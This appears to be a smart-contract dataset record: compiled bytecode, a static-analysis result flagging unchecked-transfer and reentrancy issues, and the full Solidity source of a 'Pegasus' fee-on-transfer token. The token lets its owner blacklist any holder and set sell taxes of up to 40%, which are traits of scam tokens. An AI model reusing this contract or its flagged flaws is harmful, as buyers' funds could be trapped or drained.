0000008214156138125780600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613880565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f54696e6c616b654d67722f66696c652d756e6b6e6f776e2d706172616d00000081525060200191505060405180910390fd5b5b5b5b5b5b5b5050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461393e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d8ccd0f3826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156139b357600080fd5b505af11580156139c7573d6000803e3d6000fd5b5050505050565b60025481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613a88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166301664f666040518163ffffffff1660e01b8152600401602060405180830381600087803b158015613af257600080fd5b505af1158015613b06573d6000803e3d6000fd5b505050506040513d6020811015613b1c57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b8152600401602060405180830381600087803b158015613b7457600080fd5b505af1158015613b88573d6000803e3d6000fd5b505050506040513d6020811015613b9e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015613c5757600080fd5b505af1158015613c6b573d6000803e3d6000fd5b505050506040513d6020811015613c8157600080fd5b810190808051906020019092919050505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd467064826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015613d0857600080fd5b505af1158015613d1c573d6000803e3d6000fd5b5050505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff16158015613dbd57506001809054906101000a900460ff165b8015613dd55750600160029054906101000a900460ff165b613e47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f54696e6c616b654d67722f6e6f742d736f66742d6c69717569646174696f6e0081525060200191505060405180910390fd5b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd77ac2c836040518263ffffffff1660e01b815260040180828152602001915050608060405180830381600087803b158015613ebe57600080fd5b505af1158015613ed2573d6000803e3d6000fd5b505050506040513d6080811015613ee857600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505090506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166301664f666040518163ffffffff1660e01b8152600401602060405180830381600087803b158015613f8857600080fd5b505af1158015613f9c573d6000803e3d6000fd5b505050506040513d6020811015613fb257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561400a57600080fd5b505af115801561401e573d6000803e3d6000fd5b505050506040513d602081101561403457600080fd5b810190808051906020019092919050505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632424be5c83600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001925050506040805180830381600087803b15801561411357600080fd5b505af1158015614127573d6000803e3d6000fd5b505050506040513d604081101561413d57600080fd5b8101908080519060200190929190805190602001909291905050509150506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36846040518263ffffffff1660e01b81526004018082815260200191505060a060405180830381600087803b1580156141d257600080fd5b505af11580156141e6573d6000803e3d6000fd5b505050506040513d60a08110156141fc57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050915050600061424783836147cc565b9050600061426a86614265846b033b2e3c9fd0803ce800000061482c565b6147b3565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561436b57600080fd5b505af115801561437f573d6000803e3d6000fd5b505050506040513d602081101561439557600080fd5b810190808051906020019092919050505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b38a1620826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561441c57600080fd5b505af1158015614430573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561453657600080fd5b505af115801561454a573d6000803e3d6000fd5b505050506040513d602081101561456057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156145da57600080fd5b505af11580156145ee573d6000803e3d6000fd5b505050506040513d602081101561460457600080fd5b81019080805190602001909291905050505061463582614630836b033b2e3c9fd0803ce80000006147cc565b6147f8565b6002819055507fb71844fcaa5d37721eafde73962d7ab2f9857c0795b063ae0ddf2233d371b698816040518082815260200191505060405180910390a150505050505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461472f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f54696e6c616b654d67722f6e6f742d617574686f72697a65640000000000000081525060200191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fc2b8cc36040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561479957600080fd5b505af11580156147ad573d6000803e3d6000fd5b50505050565b60008183116147c257826147c4565b815b905092915050565b6000808214806147e957508282838502925082816147e657fe5b04145b6147f257600080fd5b92915050565b600082828403915081111561480c57600080fd5b92915050565b600082828401915081101561482657600080fd5b92915050565b6000816148438461483e8560016147f8565b614812565b8161484a57fe5b0490509291505056fea265627a7a72315820c650da6c6841159262cbfae82d82c626fc72b9f570ff4f3ab6ea4d29b28a129964736f6c634300050c0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,020
0xa0555d6750caa66442ca2adf0fcefd9c7bd764a0
// // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Pegasus is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Pegasus"; string private constant _symbol = "PEGASUS"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _buytax = 30; // Buy tax 30% for first 2 minutes then reduced to 10% uint256 private _teamFee; uint256 private _sellTax = 30; // Launch sell tax 30% for first 24 hours. Then Sell tax down to 10%. uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 2500000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _MarketTax; address payable private _Dev; address payable private _Bank; address payable private _DevTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private transfertax = true; bool private CEX = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable markettax, address payable devtax,address payable bank, address payable dev) { _MarketTax = markettax; _Dev = dev; _Bank = bank; _DevTax = devtax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_MarketTax] = true; _isExcludedFromFee[_DevTax] = true; _isExcludedFromFee[_Dev] = true; _isExcludedFromFee[_Bank] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(from != owner() && to != owner()){ _teamFee = _buytax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { _teamFee = _sellTax; // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(!transfertax) { if(to != uniswapV2Pair && from != uniswapV2Pair) { takeFee = false; } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _MarketTax.transfer(amount.div(10).mul(4)); _DevTax.transfer(amount.div(10).mul(3)); _Bank.transfer(amount.div(10).mul(3)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Dev); swapEnabled = enabled; } function TransferTax(bool enabled) external { require(_msgSender() == _Dev); transfertax = enabled; } function AddToCEX (bool enabled) external { require(_msgSender() == _Dev); CEX = enabled; } function manualswap() external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualswapcustom(uint256 percentage) external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); uint256 swapbalance = contractBalance.div(10**5).mul(percentage); swapTokensForEth(swapbalance); } function manualsend() external { require(_msgSender() == _Dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { require (!CEX); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Dev); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setSellTax(uint256 selltax) external onlyOwner() { require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40'); _sellTax = selltax; } function _setBuyTax(uint256 buytax) external onlyOwner() { require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10'); _buytax = buytax; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarket(address payable account) external { require(_msgSender() == _Dev); _MarketTax = account; } function setDev(address payable account) external { require(_msgSender() == _Dev); _Dev = account; } function setDevpay(address payable account) external { require(_msgSender() == _Dev); _DevTax = account; } function _ZeroSellTax() external { require(_msgSender() == _Dev); _sellTax = 0; } function _ZeroBuyTax() external { require(_msgSender() == _Dev); _buytax = 0; } function setBank(address payable account) external { require(_msgSender() == _Dev); _Bank = account; } }
0x6080604052600436106102085760003560e01c806389e7b81b11610118578063cf27e7d5116100a0578063dbe8272c1161006f578063dbe8272c14610613578063dd62ed3e14610633578063e01af92c14610679578063e47d606014610699578063e850fe38146106d257600080fd5b8063cf27e7d51461059d578063d00efb2f146105bd578063d477f05f146105d3578063d543dbeb146105f357600080fd5b8063b515566a116100e7578063b515566a146104fa578063c0e6b46e1461051a578063c3c8cd801461053a578063c9567bf91461054f578063cba0e9961461056457600080fd5b806389e7b81b146104625780638da5cb5b1461048257806395d89b41146104aa578063a9059cbb146104da57600080fd5b8063313ce5671161019b5780636f9170f61161016a5780636f9170f6146103ca5780636fc3eaec1461040357806370a0823114610418578063715018a61461043857806384e1879d1461044d57600080fd5b8063313ce5671461034e578063437823ec1461036a5780634907aede1461038a5780636dcea85f146103aa57600080fd5b806318160ddd116101d757806318160ddd146102c857806323b872dd146102ee578063273123b71461030e5780632b7581b21461032e57600080fd5b806306fdde0314610214578063090d23b914610256578063091646a914610278578063095ea7b31461029857600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260078152665065676173757360c81b60208201525b60405161024d9190612102565b60405180910390f35b34801561026257600080fd5b50610276610271366004611ee3565b6106e7565b005b34801561028457600080fd5b50610276610293366004612085565b610729565b3480156102a457600080fd5b506102b86102b3366004611f93565b610767565b604051901515815260200161024d565b3480156102d457600080fd5b50683635c9adc5dea000005b60405190815260200161024d565b3480156102fa57600080fd5b506102b8610309366004611f53565b61077e565b34801561031a57600080fd5b50610276610329366004611ee3565b6107e7565b34801561033a57600080fd5b506102766103493660046120bd565b61083b565b34801561035a57600080fd5b506040516009815260200161024d565b34801561037657600080fd5b50610276610385366004611ee3565b6108bb565b34801561039657600080fd5b506102766103a5366004612085565b610909565b3480156103b657600080fd5b506102766103c5366004611ee3565b610947565b3480156103d657600080fd5b506102b86103e5366004611ee3565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561040f57600080fd5b50610276610989565b34801561042457600080fd5b506102e0610433366004611ee3565b6109b6565b34801561044457600080fd5b506102766109d8565b34801561045957600080fd5b50610276610a4c565b34801561046e57600080fd5b5061027661047d3660046120bd565b610a73565b34801561048e57600080fd5b506000546040516001600160a01b03909116815260200161024d565b3480156104b657600080fd5b506040805180820190915260078152665045474153555360c81b6020820152610240565b3480156104e657600080fd5b506102b86104f5366004611f93565b610ac9565b34801561050657600080fd5b50610276610515366004611fbe565b610ad6565b34801561052657600080fd5b506102766105353660046120bd565b610b91565b34801561054657600080fd5b50610276610c26565b34801561055b57600080fd5b50610276610c5c565b34801561057057600080fd5b506102b861057f366004611ee3565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156105a957600080fd5b506102766105b8366004611ee3565b611026565b3480156105c957600080fd5b506102e0601a5481565b3480156105df57600080fd5b506102766105ee366004611ee3565b611068565b3480156105ff57600080fd5b5061027661060e3660046120bd565b6110aa565b34801561061f57600080fd5b5061027661062e3660046120bd565b611178565b34801561063f57600080fd5b506102e061064e366004611f1b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561068557600080fd5b50610276610694366004612085565b6111f8565b3480156106a557600080fd5b506102b86106b4366004611ee3565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156106de57600080fd5b50610276611236565b6014546001600160a01b0316336001600160a01b03161461070757600080fd5b601580546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461074957600080fd5b60188054911515600160b81b0260ff60b81b19909216919091179055565b600061077433848461125d565b5060015b92915050565b600061078b848484611381565b6107dd84336107d8856040518060600160405280602881526020016122d3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906116e7565b61125d565b5060019392505050565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260040161081190612155565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161081190612155565b600a8111156108b65760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d2031300000000000006044820152606401610811565b600955565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161081190612155565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b0316336001600160a01b03161461092957600080fd5b60188054911515600160b01b0260ff60b01b19909216919091179055565b6014546001600160a01b0316336001600160a01b03161461096757600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b0316146109a957600080fd5b476109b381611721565b50565b6001600160a01b038116600090815260026020526040812054610778906117f8565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161081190612155565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6014546001600160a01b0316336001600160a01b031614610a6c57600080fd5b6000600b55565b6014546001600160a01b0316336001600160a01b031614610a9357600080fd5b6000610a9e306109b6565b90506000610ab983610ab384620186a061187c565b906118be565b9050610ac48161193d565b505050565b6000610774338484611381565b6000546001600160a01b03163314610b005760405162461bcd60e51b815260040161081190612155565b601854600160b81b900460ff1615610b1757600080fd5b60005b8151811015610b8d57600160106000848481518110610b4957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b8581612268565b915050610b1a565b5050565b6014546001600160a01b0316336001600160a01b031614610bb157600080fd5b60008111610c015760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610811565b610c20612710610c1a683635c9adc5dea00000846118be565b9061187c565b600f5550565b6014546001600160a01b0316336001600160a01b031614610c4657600080fd5b6000610c51306109b6565b90506109b38161193d565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161081190612155565b601854600160a01b900460ff1615610ce05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610811565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d1d3082683635c9adc5dea0000061125d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5657600080fd5b505afa158015610d6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8e9190611eff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd657600080fd5b505afa158015610dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0e9190611eff565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610e5657600080fd5b505af1158015610e6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8e9190611eff565b601880546001600160a01b0319166001600160a01b039283161790556017541663f305d7194730610ebe816109b6565b600080610ed36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f3657600080fd5b505af1158015610f4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6f91906120d5565b5050601880546801158e460913d0000060195543601a5564ff000000ff60a01b19811664010000000160a01b1790915560175460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8d91906120a1565b6014546001600160a01b0316336001600160a01b03161461104657600080fd5b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6014546001600160a01b0316336001600160a01b03161461108857600080fd5b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146110d45760405162461bcd60e51b815260040161081190612155565b600081116111245760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610811565b61113d6103e8610c1a683635c9adc5dea00000846118be565b60198190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146111a25760405162461bcd60e51b815260040161081190612155565b60288111156111f35760405162461bcd60e51b815260206004820152601b60248201527f73656c6c7461782073686f756c6420626520696e2030202d20343000000000006044820152606401610811565b600b55565b6014546001600160a01b0316336001600160a01b03161461121857600080fd5b60188054911515600160c01b0260ff60c01b19909216919091179055565b6014546001600160a01b0316336001600160a01b03161461125657600080fd5b6000600955565b6001600160a01b0383166112bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610811565b6001600160a01b0382166113205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610811565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610811565b6001600160a01b0382166114475760405162461bcd60e51b815260206004820152602360248201527f45524332303a20747261